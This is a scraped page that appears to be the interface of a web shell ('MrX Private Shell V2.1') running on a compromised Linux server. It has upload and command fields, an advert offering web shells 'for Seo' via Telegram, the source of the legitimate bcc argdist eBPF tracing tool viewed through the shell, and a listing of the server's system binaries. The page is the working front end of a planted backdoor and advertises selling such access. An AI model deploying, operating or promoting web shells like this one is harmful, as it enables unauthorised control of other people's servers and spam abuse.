__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
Upload:
Command:
#! /usr/bin/python3 # # argdist Trace a function and display a distribution of its # parameter values as a histogram or frequency count. # # USAGE: argdist [-h] [-p PID] [-z STRING_SIZE] [-i INTERVAL] [-n COUNT] [-v] # [-c] [-T TOP] [-C specifier] [-H specifier] [-I header] # [-t TID] # # Licensed under the Apache License, Version 2.0 (the "License") # Copyright (C) 2016 Sasha Goldshtein. from bcc import BPF, USDT, StrcmpRewrite from time import sleep, strftime import argparse import re import traceback import os import sys class Probe(object): next_probe_index = 0 streq_index = 0 aliases = {"$PID": "(bpf_get_current_pid_tgid() >> 32)", "$COMM": "&val.name"} def _substitute_aliases(self, expr): if expr is None: return expr for alias, subst in Probe.aliases.items(): expr = expr.replace(alias, subst) return expr def _parse_signature(self): params = map(str.strip, self.signature.split(',')) self.param_types = {} for param in params: # If the type is a pointer, the * can be next to the # param name. Other complex types like arrays are not # supported right now. index = param.rfind('*') index = index if index != -1 else param.rfind(' ') param_type = param[0:index + 1].strip() param_name = param[index + 1:].strip() self.param_types[param_name] = param_type # Maintain list of user params. Then later decide to # switch to bpf_probe_read_kernel or bpf_probe_read_user. if "__user" in param_type.split(): self.probe_user_list.add(param_name) def _generate_entry(self): self.entry_probe_func = self.probe_func_name + "_entry" text = """ int PROBENAME(struct pt_regs *ctx SIGNATURE) { u64 __pid_tgid = bpf_get_current_pid_tgid(); u32 __pid = __pid_tgid; // lower 32 bits u32 __tgid = __pid_tgid >> 32; // upper 32 bits PID_FILTER TID_FILTER COLLECT return 0; } """ text = text.replace("PROBENAME", self.entry_probe_func) text = text.replace("SIGNATURE", "" if len(self.signature) == 0 else ", " + self.signature) text = text.replace("PID_FILTER", self._generate_pid_filter()) text = text.replace("TID_FILTER", self._generate_tid_filter()) collect = "" for pname in self.args_to_probe: param_hash = self.hashname_prefix + pname if pname == "__latency": collect += """ u64 __time = bpf_ktime_get_ns(); %s.update(&__pid, &__time); """ % param_hash else: collect += "%s.update(&__pid, &%s);\n" % \ (param_hash, pname) text = text.replace("COLLECT", collect) return text def _generate_entry_probe(self): # Any $entry(name) expressions result in saving that argument # when entering the function. self.args_to_probe = set() regex = r"\$entry\((\w+)\)" for expr in self.exprs: for arg in re.finditer(regex, expr): self.args_to_probe.add(arg.group(1)) for arg in re.finditer(regex, self.filter): self.args_to_probe.add(arg.group(1)) if any(map(lambda expr: "$latency" in expr, self.exprs)) or \ "$latency" in self.filter: self.args_to_probe.add("__latency") self.param_types["__latency"] = "u64" # nanoseconds for pname in self.args_to_probe: if pname not in self.param_types: raise ValueError("$entry(%s): no such param" % arg) self.hashname_prefix = "%s_param_" % self.probe_hash_name text = "" for pname in self.args_to_probe: # Each argument is stored in a separate hash that is # keyed by pid. text += "BPF_HASH(%s, u32, %s);\n" % \ (self.hashname_prefix + pname, self.param_types[pname]) text += self._generate_entry() return text def _generate_retprobe_prefix(self): # After we're done here, there are __%s_val variables for each # argument we needed to probe using $entry(name), and they all # have values (which isn't necessarily the case if we missed # the method entry probe). text = "" self.param_val_names = {} for pname in self.args_to_probe: val_name = "__%s_val" % pname text += "%s *%s = %s.lookup(&__pid);\n" % \ (self.param_types[pname], val_name, self.hashname_prefix + pname) text += "if (%s == 0) { return 0 ; }\n" % val_name self.param_val_names[pname] = val_name return text def _generate_comm_prefix(self): text = """ struct val_t { u32 pid; char name[sizeof(struct __string_t)]; }; struct val_t val = {.pid = (bpf_get_current_pid_tgid() >> 32) }; bpf_get_current_comm(&val.name, sizeof(val.name)); """ return text def _replace_entry_exprs(self): for pname, vname in self.param_val_names.items(): if pname == "__latency": entry_expr = "$latency" val_expr = "(bpf_ktime_get_ns() - *%s)" % vname else: entry_expr = "$entry(%s)" % pname val_expr = "(*%s)" % vname for i in range(0, len(self.exprs)): self.exprs[i] = self.exprs[i].replace( entry_expr, val_expr) self.filter = self.filter.replace(entry_expr, val_expr) def _attach_entry_probe(self): if self.is_user: self.bpf.attach_uprobe(name=self.library, sym=self.function, fn_name=self.entry_probe_func, pid=self.pid or -1) else: self.bpf.attach_kprobe(event=self.function, fn_name=self.entry_probe_func) def _bail(self, error): raise ValueError("error parsing probe '%s': %s" % (self.raw_spec, error)) def _validate_specifier(self): # Everything after '#' is the probe label, ignore it spec = self.raw_spec.split('#')[0] parts = spec.strip().split(':') if len(parts) < 3: self._bail("at least the probe type, library, and " + "function signature must be specified") if len(parts) > 6: self._bail("extraneous ':'-separated parts detected") if parts[0] not in ["r", "p", "t", "u"]: self._bail("probe type must be 'p', 'r', 't', or 'u'" + " but got '%s'" % parts[0]) if re.match(r"\S+\(.*\)", parts[2]) is None: self._bail(("function signature '%s' has an invalid " + "format") % parts[2]) def _parse_expr_types(self, expr_types): if len(expr_types) == 0: self._bail("no expr types specified") self.expr_types = expr_types.split(',') def _parse_exprs(self, exprs): if len(exprs) == 0: self._bail("no exprs specified") self.exprs = exprs.split(',') def _make_valid_identifier(self, ident): return re.sub(r'[^A-Za-z0-9_]', '_', ident) def __init__(self, tool, type, specifier): self.usdt_ctx = None self.streq_functions = "" self.pid = tool.args.pid self.tid = tool.args.tid self.cumulative = tool.args.cumulative or False self.raw_spec = specifier self.probe_user_list = set() self.bin_cmp = False self._validate_specifier() spec_and_label = specifier.split('#') self.label = spec_and_label[1] \ if len(spec_and_label) == 2 else None parts = spec_and_label[0].strip().split(':') self.type = type # hist or freq self.probe_type = parts[0] fparts = parts[2].split('(') self.function = fparts[0].strip() if self.probe_type == "t": self.library = "" # kernel self.tp_category = parts[1] self.tp_event = self.function elif self.probe_type == "u": self.library = parts[1] self.probe_func_name = self._make_valid_identifier( "%s_probe%d" % (self.function, Probe.next_probe_index)) self._enable_usdt_probe() else: self.library = parts[1] self.is_user = len(self.library) > 0 self.signature = fparts[1].strip()[:-1] self._parse_signature() # If the user didn't specify an expression to probe, we probe # the retval in a ret probe, or simply the value "1" otherwise. self.is_default_expr = len(parts) < 5 if not self.is_default_expr: self._parse_expr_types(parts[3]) self._parse_exprs(parts[4]) if len(self.exprs) != len(self.expr_types): self._bail("mismatched # of exprs and types") if self.type == "hist" and len(self.expr_types) > 1: self._bail("histograms can only have 1 expr") else: if not self.probe_type == "r" and self.type == "hist": self._bail("histograms must have expr") self.expr_types = \ ["u64" if not self.probe_type == "r" else "int"] self.exprs = \ ["1" if not self.probe_type == "r" else "$retval"] self.filter = "" if len(parts) != 6 else parts[5] self._substitute_exprs() # Do we need to attach an entry probe so that we can collect an # argument that is required for an exit (return) probe? def check(expr): keywords = ["$entry", "$latency"] return any(map(lambda kw: kw in expr, keywords)) self.entry_probe_required = self.probe_type == "r" and \ (any(map(check, self.exprs)) or check(self.filter)) self.probe_func_name = self._make_valid_identifier( "%s_probe%d" % (self.function, Probe.next_probe_index)) self.probe_hash_name = self._make_valid_identifier( "%s_hash%d" % (self.function, Probe.next_probe_index)) Probe.next_probe_index += 1 def _enable_usdt_probe(self): self.usdt_ctx = USDT(path=self.library, pid=self.pid) self.usdt_ctx.enable_probe( self.function, self.probe_func_name) def _substitute_exprs(self): def repl(expr): expr = self._substitute_aliases(expr) rdict = StrcmpRewrite.rewrite_expr(expr, self.bin_cmp, self.library, self.probe_user_list, self.streq_functions, Probe.streq_index) expr = rdict["expr"] self.streq_functions = rdict["streq_functions"] Probe.streq_index = rdict["probeid"] return expr.replace("$retval", "PT_REGS_RC(ctx)") for i in range(0, len(self.exprs)): self.exprs[i] = repl(self.exprs[i]) self.filter = repl(self.filter) def _is_string(self, expr_type): return expr_type == "char*" or expr_type == "char *" def _generate_hash_field(self, i): if self._is_string(self.expr_types[i]): return "struct __string_t v%d;\n" % i else: return "%s v%d;\n" % (self.expr_types[i], i) def _generate_usdt_arg_assignment(self, i): expr = self.exprs[i] if self.probe_type == "u" and expr[0:3] == "arg": arg_index = int(expr[3]) arg_ctype = self.usdt_ctx.get_probe_arg_ctype( self.function, arg_index - 1) return (" %s %s = 0;\n" + " bpf_usdt_readarg(%s, ctx, &%s);\n") \ % (arg_ctype, expr, expr[3], expr) else: return "" def _generate_field_assignment(self, i): text = self._generate_usdt_arg_assignment(i) if self._is_string(self.expr_types[i]): if self.is_user or \ self.exprs[i] in self.probe_user_list: probe_readfunc = "bpf_probe_read_user" else: probe_readfunc = "bpf_probe_read_kernel" return (text + " %s(&__key.v%d.s," + " sizeof(__key.v%d.s), (void *)%s);\n") % \ (probe_readfunc, i, i, self.exprs[i]) else: return text + " __key.v%d = %s;\n" % \ (i, self.exprs[i]) def _generate_hash_decl(self): if self.type == "hist": return "BPF_HISTOGRAM(%s, %s);" % \ (self.probe_hash_name, self.expr_types[0]) else: text = "struct %s_key_t {\n" % self.probe_hash_name for i in range(0, len(self.expr_types)): text += self._generate_hash_field(i) text += "};\n" text += "BPF_HASH(%s, struct %s_key_t, u64);\n" % \ (self.probe_hash_name, self.probe_hash_name) return text def _generate_key_assignment(self): if self.type == "hist": return self._generate_usdt_arg_assignment(0) + \ ("%s __key = %s;\n" % (self.expr_types[0], self.exprs[0])) else: text = "struct %s_key_t __key = {};\n" % \ self.probe_hash_name for i in range(0, len(self.exprs)): text += self._generate_field_assignment(i) return text def _generate_hash_update(self): if self.type == "hist": return "%s.atomic_increment(bpf_log2l(__key));" % \ self.probe_hash_name else: return "%s.atomic_increment(__key);" % \ self.probe_hash_name def _generate_pid_filter(self): # Kernel probes need to explicitly filter pid, because the # attach interface doesn't support pid filtering if self.pid is not None and not self.is_user: return "if (__tgid != %d) { return 0; }" % self.pid else: return "" def _generate_tid_filter(self): if self.tid is not None and not self.is_user: return "if (__pid != %d) { return 0; }" % self.tid else: return "" def generate_text(self): program = "" probe_text = """ DATA_DECL """ + ( "TRACEPOINT_PROBE(%s, %s)" % (self.tp_category, self.tp_event) if self.probe_type == "t" else "int PROBENAME(struct pt_regs *ctx SIGNATURE)") + """ { u64 __pid_tgid = bpf_get_current_pid_tgid(); u32 __pid = __pid_tgid; // lower 32 bits u32 __tgid = __pid_tgid >> 32; // upper 32 bits PID_FILTER TID_FILTER PREFIX KEY_EXPR if (!(FILTER)) return 0; COLLECT return 0; } """ prefix = "" signature = "" # If any entry arguments are probed in a ret probe, we need # to generate an entry probe to collect them if self.entry_probe_required: program += self._generate_entry_probe() prefix += self._generate_retprobe_prefix() # Replace $entry(paramname) with a reference to the # value we collected when entering the function: self._replace_entry_exprs() if self.probe_type == "p" and len(self.signature) > 0: # Only entry uprobes/kprobes can have user-specified # signatures. Other probes force it to (). signature = ", " + self.signature # If COMM is specified prefix with code to get process name if self.exprs.count(self.aliases['$COMM']): prefix += self._generate_comm_prefix() program += probe_text.replace("PROBENAME", self.probe_func_name) program = program.replace("SIGNATURE", signature) program = program.replace("PID_FILTER", self._generate_pid_filter()) program = program.replace("TID_FILTER", self._generate_tid_filter()) decl = self._generate_hash_decl() key_expr = self._generate_key_assignment() collect = self._generate_hash_update() program = program.replace("DATA_DECL", decl) program = program.replace("KEY_EXPR", key_expr) program = program.replace("FILTER", "1" if len(self.filter) == 0 else self.filter) program = program.replace("COLLECT", collect) program = program.replace("PREFIX", prefix) return self.streq_functions + program def _attach_u(self): libpath = BPF.find_library(self.library) if libpath is None: libpath = BPF.find_exe(self.library) if libpath is None or len(libpath) == 0: self._bail("unable to find library %s" % self.library) if self.probe_type == "r": self.bpf.attach_uretprobe(name=libpath, sym=self.function, fn_name=self.probe_func_name, pid=self.pid or -1) else: self.bpf.attach_uprobe(name=libpath, sym=self.function, fn_name=self.probe_func_name, pid=self.pid or -1) def _attach_k(self): if self.probe_type == "t": pass # Nothing to do for tracepoints elif self.probe_type == "r": self.bpf.attach_kretprobe(event=self.function, fn_name=self.probe_func_name) else: self.bpf.attach_kprobe(event=self.function, fn_name=self.probe_func_name) def attach(self, bpf): self.bpf = bpf if self.probe_type == "u": return if self.is_user: self._attach_u() else: self._attach_k() if self.entry_probe_required: self._attach_entry_probe() # Check whether hash table batch ops is supported if self.type == "freq" and self.bpf.kernel_struct_has_field( b'bpf_map_ops', b'map_lookup_and_delete_batch') == 1: self.htab_batch_ops = True else: self.htab_batch_ops = False def _v2s(self, v): # Most fields can be converted with plain str(), but strings # are wrapped in a __string_t which has an .s field if "__string_t" in type(v).__name__: return str(v.s) return str(v) def _display_expr(self, i): # Replace ugly latency calculation with $latency expr = self.exprs[i].replace( "(bpf_ktime_get_ns() - *____latency_val)", "$latency") # Replace alias values back with the alias name for alias, subst in Probe.aliases.items(): expr = expr.replace(subst, alias) # Replace retval expression with $retval expr = expr.replace("PT_REGS_RC(ctx)", "$retval") # Replace ugly (*__param_val) expressions with param name return re.sub(r"\(\*__(\w+)_val\)", r"\1", expr) def _display_key(self, key): if self.is_default_expr: if not self.probe_type == "r": return "total calls" else: return "retval = %s" % str(key.v0) else: # The key object has v0, ..., vk fields containing # the values of the expressions from self.exprs def str_i(i): key_i = self._v2s(getattr(key, "v%d" % i)) return "%s = %s" % \ (self._display_expr(i), key_i) return ", ".join(map(str_i, range(0, len(self.exprs)))) def display(self, top): data = self.bpf.get_table(self.probe_hash_name) if self.type == "freq": print(self.label or self.raw_spec) print("\t%-10s %s" % ("COUNT", "EVENT")) sdata = sorted(data.items_lookup_batch() if self.htab_batch_ops else data.items(), key=lambda p: p[1].value) if top is not None: sdata = sdata[-top:] for key, value in sdata: # Print some nice values if the user didn't # specify an expression to probe if self.is_default_expr: if not self.probe_type == "r": key_str = "total calls" else: key_str = "retval = %s" % \ self._v2s(key.v0) else: key_str = self._display_key(key) print("\t%-10s %s" % (str(value.value), key_str)) elif self.type == "hist": label = self.label or (self._display_expr(0) if not self.is_default_expr else "retval") data.print_log2_hist(val_type=label) if not self.cumulative: if self.htab_batch_ops: data.items_delete_batch() else: data.clear() def __str__(self): return self.label or self.raw_spec class Tool(object): examples = """ Probe specifier syntax: {p,r,t,u}:{[library],category}:function(signature):type[,type...]:expr[,expr...][:filter]][#label] Where: p,r,t,u -- probe at function entry, function exit, kernel tracepoint, or USDT probe in exit probes: can use $retval, $entry(param), $latency library -- the library that contains the function (leave empty for kernel functions) category -- the category of the kernel tracepoint (e.g. net, sched) function -- the function name to trace (or tracepoint name) signature -- the function's parameters, as in the C header type -- the type of the expression to collect (supports multiple) expr -- the expression to collect (supports multiple) filter -- the filter that is applied to collected values label -- the label for this probe in the resulting output EXAMPLES: argdist -H 'p::__kmalloc(u64 size):u64:size' Print a histogram of allocation sizes passed to kmalloc argdist -p 1005 -C 'p:c:malloc(size_t size):size_t:size:size==16' Print a frequency count of how many times process 1005 called malloc with an allocation size of 16 bytes argdist -C 'r:c:gets():char*:(char*)$retval#snooped strings' Snoop on all strings returned by gets() argdist -H 'r::__kmalloc(size_t size):u64:$latency/$entry(size)#ns per byte' Print a histogram of nanoseconds per byte from kmalloc allocations argdist -C 'p::__kmalloc(size_t sz, gfp_t flags):size_t:sz:flags&GFP_ATOMIC' Print frequency count of kmalloc allocation sizes that have GFP_ATOMIC argdist -p 1005 -C 'p:c:write(int fd):int:fd' -T 5 Print frequency counts of how many times writes were issued to a particular file descriptor number, in process 1005, but only show the top 5 busiest fds argdist -p 1005 -H 'r:c:read()' Print a histogram of results (sizes) returned by read() in process 1005 argdist -C 'r::__vfs_read():u32:$PID:$latency > 100000' Print frequency of reads by process where the latency was >0.1ms argdist -C 'r::__vfs_read():u32:$COMM:$latency > 100000' Print frequency of reads by process name where the latency was >0.1ms argdist -H 'r::__vfs_read(void *file, void *buf, size_t count):size_t: $entry(count):$latency > 1000000' Print a histogram of read sizes that were longer than 1ms argdist -H \\ 'p:c:write(int fd, const void *buf, size_t count):size_t:count:fd==1' Print a histogram of buffer sizes passed to write() across all processes, where the file descriptor was 1 (STDOUT) argdist -C 'p:c:fork()#fork calls' Count fork() calls in libc across all processes Can also use funccount.py, which is easier and more flexible argdist -H 't:block:block_rq_complete():u32:args->nr_sector' Print histogram of number of sectors in completing block I/O requests argdist -C 't:irq:irq_handler_entry():int:args->irq' Aggregate interrupts by interrupt request (IRQ) argdist -C 'u:pthread:pthread_start():u64:arg2' -p 1337 Print frequency of function addresses used as a pthread start function, relying on the USDT pthread_start probe in process 1337 argdist -H 'p:c:sleep(u32 seconds):u32:seconds' \\ -H 'p:c:nanosleep(struct timespec *req):long:req->tv_nsec' Print histograms of sleep() and nanosleep() parameter values argdist -p 2780 -z 120 \\ -C 'p:c:write(int fd, char* buf, size_t len):char*:buf:fd==1' Spy on writes to STDOUT performed by process 2780, up to a string size of 120 characters argdist -I 'kernel/sched/sched.h' \\ -C 'p::__account_cfs_rq_runtime(struct cfs_rq *cfs_rq):s64:cfs_rq->runtime_remaining' Trace on the cfs scheduling runqueue remaining runtime. The struct cfs_rq is defined in kernel/sched/sched.h which is in kernel source tree and not in kernel-devel package. So this command needs to run at the kernel source tree root directory so that the added header file can be found by the compiler. """ def __init__(self): parser = argparse.ArgumentParser(description="Trace a " + "function and display a summary of its parameter values.", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=Tool.examples) parser.add_argument("-p", "--pid", type=int, help="id of the process to trace (optional)") parser.add_argument("-t", "--tid", type=int, help="id of the thread to trace (optional)") parser.add_argument("-z", "--string-size", default=80, type=int, help="maximum string size to read from char* arguments") parser.add_argument("-i", "--interval", default=1, type=int, help="output interval, in seconds (default 1 second)") parser.add_argument("-d", "--duration", type=int, help="total duration of trace, in seconds") parser.add_argument("-n", "--number", type=int, dest="count", help="number of outputs") parser.add_argument("-v", "--verbose", action="store_true", help="print resulting BPF program code before executing") parser.add_argument("-c", "--cumulative", action="store_true", help="do not clear histograms and freq counts at " + "each interval") parser.add_argument("-T", "--top", type=int, help="number of top results to show (not applicable to " + "histograms)") parser.add_argument("-H", "--histogram", action="append", dest="histspecifier", metavar="specifier", help="probe specifier to capture histogram of " + "(see examples below)") parser.add_argument("-C", "--count", action="append", dest="countspecifier", metavar="specifier", help="probe specifier to capture count of " + "(see examples below)") parser.add_argument("-I", "--include", action="append", metavar="header", help="additional header files to include in the BPF program " "as either full path, " "or relative to relative to current working directory, " "or relative to default kernel header search path") parser.add_argument("--ebpf", action="store_true", help=argparse.SUPPRESS) self.args = parser.parse_args() self.usdt_ctx = None def _create_probes(self): self.probes = [] for specifier in (self.args.countspecifier or []): self.probes.append(Probe(self, "freq", specifier)) for histspecifier in (self.args.histspecifier or []): self.probes.append(Probe(self, "hist", histspecifier)) if len(self.probes) == 0: print("at least one specifier is required") exit(1) def _generate_program(self): bpf_source = """ struct __string_t { char s[%d]; }; #include <uapi/linux/ptrace.h> """ % self.args.string_size for include in (self.args.include or []): if include.startswith((".", "/")): include = os.path.abspath(include) bpf_source += "#include \"%s\"\n" % include else: bpf_source += "#include <%s>\n" % include bpf_source += BPF.generate_auto_includes( map(lambda p: p.raw_spec, self.probes)) for probe in self.probes: bpf_source += probe.generate_text() if self.args.verbose: for text in [probe.usdt_ctx.get_text() for probe in self.probes if probe.usdt_ctx]: print(text) if self.args.verbose or self.args.ebpf: print(bpf_source) if self.args.ebpf: exit() usdt_contexts = [probe.usdt_ctx for probe in self.probes if probe.usdt_ctx] self.bpf = BPF(text=bpf_source, usdt_contexts=usdt_contexts) def _attach(self): for probe in self.probes: probe.attach(self.bpf) if self.args.verbose: print("open uprobes: %s" % list(self.bpf.uprobe_fds.keys())) print("open kprobes: %s" % list(self.bpf.kprobe_fds.keys())) def _main_loop(self): count_so_far = 0 seconds = 0 while True: try: sleep(self.args.interval) seconds += self.args.interval except KeyboardInterrupt: exit() print("[%s]" % strftime("%H:%M:%S")) for probe in self.probes: probe.display(self.args.top) count_so_far += 1 if self.args.count is not None and \ count_so_far >= self.args.count: exit() if self.args.duration and \ seconds >= self.args.duration: exit() def run(self): try: self._create_probes() self._generate_program() self._attach() self._main_loop() except: exc_info = sys.exc_info() sys_exit = exc_info[0] is SystemExit if self.args.verbose: traceback.print_exc() elif not sys_exit: print(exc_info[1]) exit(0 if sys_exit else 1) if __name__ == "__main__": Tool().run()
Filemanager
Name | Type | Size | Permission | Actions |
---|---|---|---|---|
ModemManager | File | 2.07 MB | 0755 |
|
a2disconf | File | 15.75 KB | 0755 |
|
a2dismod | File | 15.75 KB | 0755 |
|
a2dissite | File | 15.75 KB | 0755 |
|
a2enconf | File | 15.75 KB | 0755 |
|
a2enmod | File | 15.75 KB | 0755 |
|
a2ensite | File | 15.75 KB | 0755 |
|
a2query | File | 9.6 KB | 0755 |
|
aa-load | File | 38.75 KB | 0755 |
|
aa-remove-unknown | File | 3.15 KB | 0755 |
|
aa-status | File | 39.06 KB | 0755 |
|
aa-teardown | File | 137 B | 0755 |
|
accessdb | File | 14.55 KB | 0755 |
|
acpid | File | 52.66 KB | 0755 |
|
add-shell | File | 1.03 KB | 0755 |
|
addgnupghome | File | 3 KB | 0755 |
|
addgroup | File | 53.9 KB | 0755 |
|
adduser | File | 53.9 KB | 0755 |
|
agetty | File | 59.56 KB | 0755 |
|
apache2 | File | 736.55 KB | 0755 |
|
apache2ctl | File | 7.26 KB | 0755 |
|
apachectl | File | 7.26 KB | 0755 |
|
apparmor_parser | File | 1.55 MB | 0755 |
|
apparmor_status | File | 39.06 KB | 0755 |
|
applygnupgdefaults | File | 2.17 KB | 0755 |
|
argdist-bpfcc | File | 36 KB | 0755 |
|
arp | File | 61.61 KB | 0755 |
|
arpd | File | 26.33 KB | 0755 |
|
arptables | File | 219.16 KB | 0755 |
|
arptables-nft | File | 219.16 KB | 0755 |
|
arptables-nft-restore | File | 219.16 KB | 0755 |
|
arptables-nft-save | File | 219.16 KB | 0755 |
|
arptables-restore | File | 219.16 KB | 0755 |
|
arptables-save | File | 219.16 KB | 0755 |
|
badblocks | File | 34.32 KB | 0755 |
|
bashreadline-bpfcc | File | 2.32 KB | 0755 |
|
bashreadline.bt | File | 698 B | 0755 |
|
bcache-super-show | File | 14.3 KB | 0755 |
|
bindsnoop-bpfcc | File | 15.96 KB | 0755 |
|
biolatency-bpfcc | File | 11.1 KB | 0755 |
|
biolatency-kp.bt | File | 664 B | 0755 |
|
biolatency.bt | File | 681 B | 0755 |
|
biolatpcts-bpfcc | File | 10.01 KB | 0755 |
|
biopattern-bpfcc | File | 3.86 KB | 0755 |
|
biosdecode | File | 27.2 KB | 0755 |
|
biosnoop-bpfcc | File | 10.58 KB | 0755 |
|
biosnoop.bt | File | 1.12 KB | 0755 |
|
biostacks.bt | File | 915 B | 0755 |
|
biotop-bpfcc | File | 9.34 KB | 0755 |
|
bitesize-bpfcc | File | 1.14 KB | 0755 |
|
bitesize.bt | File | 567 B | 0755 |
|
blkdeactivate | File | 15.97 KB | 0755 |
|
blkdiscard | File | 22.38 KB | 0755 |
|
blkid | File | 54.41 KB | 0755 |
|
blkzone | File | 34.38 KB | 0755 |
|
blockdev | File | 34.38 KB | 0755 |
|
bpflist-bpfcc | File | 2.54 KB | 0755 |
|
bpftool | File | 1.58 KB | 0755 |
|
bridge | File | 108.49 KB | 0755 |
|
btrfsdist-bpfcc | File | 6.47 KB | 0755 |
|
btrfsslower-bpfcc | File | 9.75 KB | 0755 |
|
cache_check | File | 1.36 MB | 0755 |
|
cache_dump | File | 1.36 MB | 0755 |
|
cache_metadata_size | File | 1.36 MB | 0755 |
|
cache_repair | File | 1.36 MB | 0755 |
|
cache_restore | File | 1.36 MB | 0755 |
|
cache_writeback | File | 1.36 MB | 0755 |
|
cachestat-bpfcc | File | 6.38 KB | 0755 |
|
cachetop-bpfcc | File | 9.15 KB | 0755 |
|
capable-bpfcc | File | 8.28 KB | 0755 |
|
capable.bt | File | 1.88 KB | 0755 |
|
capsh | File | 57.09 KB | 0755 |
|
cfdisk | File | 94.73 KB | 0755 |
|
cgdisk | File | 166.48 KB | 0755 |
|
chcpu | File | 30.38 KB | 0755 |
|
check_forensic | File | 952 B | 0755 |
|
chgpasswd | File | 58.32 KB | 0755 |
|
chmem | File | 34.38 KB | 0755 |
|
chpasswd | File | 54.43 KB | 0755 |
|
chronyd | File | 299.05 KB | 0755 |
|
chroot | File | 38.51 KB | 0755 |
|
cobjnew-bpfcc | File | 53 B | 0755 |
|
compactsnoop-bpfcc | File | 11.1 KB | 0755 |
|
cpgr | File | 48.45 KB | 0755 |
|
cppw | File | 48.45 KB | 0755 |
|
cpudist-bpfcc | File | 6.85 KB | 0755 |
|
cpuunclaimed-bpfcc | File | 14.59 KB | 0755 |
|
cpuwalk.bt | File | 497 B | 0755 |
|
criticalstat-bpfcc | File | 8.41 KB | 0755 |
|
cron | File | 58.67 KB | 0755 |
|
cryptdisks_start | File | 1.51 KB | 0755 |
|
cryptdisks_stop | File | 844 B | 0755 |
|
cryptsetup | File | 225.9 KB | 0755 |
|
ctrlaltdel | File | 14.38 KB | 0755 |
|
dbslower-bpfcc | File | 7.22 KB | 0755 |
|
dbstat-bpfcc | File | 3.7 KB | 0755 |
|
dcb | File | 80.52 KB | 0755 |
|
dcsnoop-bpfcc | File | 4.03 KB | 0755 |
|
dcsnoop.bt | File | 1.23 KB | 0755 |
|
dcstat-bpfcc | File | 3.77 KB | 0755 |
|
deadlock-bpfcc | File | 20.45 KB | 0755 |
|
debugfs | File | 225.87 KB | 0755 |
|
delgroup | File | 18.53 KB | 0755 |
|
deluser | File | 18.53 KB | 0755 |
|
depmod | File | 170.24 KB | 0755 |
|
devlink | File | 150.86 KB | 0755 |
|
dhcpcd | File | 395.4 KB | 0755 |
|
dirtop-bpfcc | File | 8.37 KB | 0755 |
|
dmeventd | File | 50.38 KB | 0755 |
|
dmidecode | File | 135.25 KB | 0755 |
|
dmsetup | File | 171.05 KB | 0755 |
|
dmstats | File | 171.05 KB | 0755 |
|
dosfsck | File | 78.38 KB | 0755 |
|
dosfslabel | File | 38.38 KB | 0755 |
|
dpkg-preconfigure | File | 4.25 KB | 0755 |
|
dpkg-reconfigure | File | 4.43 KB | 0755 |
|
drsnoop-bpfcc | File | 6.73 KB | 0755 |
|
dumpe2fs | File | 34.31 KB | 0755 |
|
e2freefrag | File | 18.3 KB | 0755 |
|
e2fsck | File | 364.34 KB | 0755 |
|
e2image | File | 42.31 KB | 0755 |
|
e2label | File | 110.56 KB | 0755 |
|
e2mmpstatus | File | 34.31 KB | 0755 |
|
e2scrub | File | 7.12 KB | 0755 |
|
e2scrub_all | File | 5.27 KB | 0755 |
|
e2undo | File | 22.3 KB | 0755 |
|
e4crypt | File | 30.38 KB | 0755 |
|
e4defrag | File | 34.3 KB | 0755 |
|
ebtables | File | 219.16 KB | 0755 |
|
ebtables-nft | File | 219.16 KB | 0755 |
|
ebtables-nft-restore | File | 219.16 KB | 0755 |
|
ebtables-nft-save | File | 219.16 KB | 0755 |
|
ebtables-restore | File | 219.16 KB | 0755 |
|
ebtables-save | File | 219.16 KB | 0755 |
|
ebtables-translate | File | 219.16 KB | 0755 |
|
era_check | File | 1.36 MB | 0755 |
|
era_dump | File | 1.36 MB | 0755 |
|
era_invalidate | File | 1.36 MB | 0755 |
|
era_restore | File | 1.36 MB | 0755 |
|
ethtool | File | 651.68 KB | 0755 |
|
execsnoop-bpfcc | File | 9.82 KB | 0755 |
|
execsnoop.bt | File | 928 B | 0755 |
|
exitsnoop-bpfcc | File | 9.42 KB | 0755 |
|
ext4dist-bpfcc | File | 6.53 KB | 0755 |
|
ext4slower-bpfcc | File | 9.71 KB | 0755 |
|
faillock | File | 22.31 KB | 0755 |
|
fatlabel | File | 38.38 KB | 0755 |
|
fdisk | File | 114.42 KB | 0755 |
|
filefrag | File | 18.32 KB | 0755 |
|
filegone-bpfcc | File | 5.64 KB | 0755 |
|
filelife-bpfcc | File | 6.38 KB | 0755 |
|
fileslower-bpfcc | File | 7.2 KB | 0755 |
|
filetop-bpfcc | File | 6.35 KB | 0755 |
|
findfs | File | 14.38 KB | 0755 |
|
fixparts | File | 58.48 KB | 0755 |
|
fsadm | File | 24 KB | 0755 |
|
fsck | File | 42.42 KB | 0755 |
|
fsck.btrfs | File | 1.16 KB | 0755 |
|
fsck.cramfs | File | 30.44 KB | 0755 |
|
fsck.ext2 | File | 364.34 KB | 0755 |
|
fsck.ext3 | File | 364.34 KB | 0755 |
|
fsck.ext4 | File | 364.34 KB | 0755 |
|
fsck.fat | File | 78.38 KB | 0755 |
|
fsck.minix | File | 54.41 KB | 0755 |
|
fsck.msdos | File | 78.38 KB | 0755 |
|
fsck.vfat | File | 78.38 KB | 0755 |
|
fsck.xfs | File | 2.53 KB | 0755 |
|
fsfreeze | File | 14.38 KB | 0755 |
|
fstab-decode | File | 14.3 KB | 0755 |
|
fstrim | File | 42.38 KB | 0755 |
|
funccount-bpfcc | File | 12.68 KB | 0755 |
|
funcinterval-bpfcc | File | 5.46 KB | 0755 |
|
funclatency-bpfcc | File | 11.28 KB | 0755 |
|
funcslower-bpfcc | File | 10.38 KB | 0755 |
|
gdisk | File | 198.48 KB | 0755 |
|
genl | File | 120.58 KB | 0755 |
|
getcap | File | 14.3 KB | 0755 |
|
gethostlatency-bpfcc | File | 3.82 KB | 0755 |
|
gethostlatency.bt | File | 1.19 KB | 0755 |
|
getpcaps | File | 14.3 KB | 0755 |
|
getty | File | 59.56 KB | 0755 |
|
groupadd | File | 71.13 KB | 0755 |
|
groupdel | File | 62.91 KB | 0755 |
|
